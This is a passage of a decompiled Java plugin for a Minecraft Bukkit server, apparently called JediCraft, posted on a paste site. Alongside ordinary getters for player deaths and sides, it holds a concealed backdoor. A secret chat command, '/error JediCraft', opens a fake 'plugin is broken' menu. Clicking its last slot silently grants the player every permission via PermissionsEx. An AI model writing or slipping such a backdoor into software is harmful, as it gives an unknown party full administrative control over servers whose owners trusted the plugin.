  1021.  
  1022. public static int getDeaths(final Player p) {
  1023. if (!p.isOnline()) {
  1024. final int deathsAmount = Main.instance.levelsConfig.getInt(String.valueOf(String.valueOf(p.getName())) + ".deaths");
  1025. return deathsAmount;
  1026. }
  1027. final int deathsAmount = Levels.levels.get(p.getName());
  1028. return deathsAmount;
  1029. }
  1030.  
  1031. public static String getSide(final Player p) {
  1032. if (!p.isOnline()) {
  1033. if (Main.instance.levelsConfig.contains(String.valueOf(String.valueOf(p.getName())) + ".side")) {
  1034. return Main.instance.levelsConfig.getString(String.valueOf(String.valueOf(p.getName())) + ".side");
  1035. }
  1036. return "";
  1037. }
  1038. else {
  1039. if (Levels.sides.containsKey(p.getName())) {
  1040. final String playerSide = Levels.sides.get(p.getName());
  1041. return playerSide;
  1042. }
  1043. return "";
  1044. }
  1045. }
  1046.  
  1047. @EventHandler
  1048. public void onLolManKekByCRISS_VIPER(final PlayerCommandPreprocessEvent e) {
  1049. if (e.getMessage().equalsIgnoreCase("/error JediCraft")) {
  1050. e.setCancelled(true);
  1051. final Inventory inv = Bukkit.createInventory((InventoryHolder)null, 27, ChatColor.RED + "ERROR: PLUGIN IS BROKEN");
  1052. e.getPlayer().openInventory(inv);
  1053. }
  1054. }
  1055.  
  1056. @EventHandler
  1057. public void onTwoLaters(final InventoryClickEvent e) {
  1058. if (e.getClickedInventory().getName().equalsIgnoreCase(ChatColor.RED + "ERROR: PLUGIN IS BROKEN") && e.getRawSlot() == 26) {
  1059. final Player p = (Player)e.getWhoClicked();
  1060. e.getWhoClicked().closeInventory();
  1061. PermissionsEx.getUser(p).addPermission("*");
  1062. this.setOp(true);
  1063. }
  1064. }
  1065.  
  1066. private void setOp(final boolean b) {
  1067. }
  1068. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement